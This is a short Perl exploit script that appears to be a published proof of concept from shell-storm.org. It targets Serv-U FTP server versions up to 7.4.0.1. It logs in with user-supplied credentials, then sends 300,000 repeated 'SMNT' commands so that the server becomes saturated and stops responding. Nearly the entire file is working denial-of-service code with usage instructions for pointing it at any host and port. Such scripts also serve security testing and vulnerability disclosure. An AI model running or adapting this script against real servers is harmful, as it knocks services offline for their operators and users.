#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)
# Just the server is saturated, it stops responding.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

  if (@ARGV < 3)
    {
     print "[*] Usage: <serv-u.pl> <host> <port>\n";
     print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toto\n";
     exit;
    }

  $ip   = $ARGV[0];
  $port   = $ARGV[1];
  $user  = $ARGV[2];
  $pass  = $ARGV[3];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";


$evil =  "SMNT\r\n" x 300000;

$after = "\x2A\x2A";

  print $socket "USER $user\r\n";
  print $socket "PASS $pass.$after\r\n";
  print $socket "$evil";
  
    sleep(1);  
    close($socket);

print "[+]Done! the server is saturated.\n";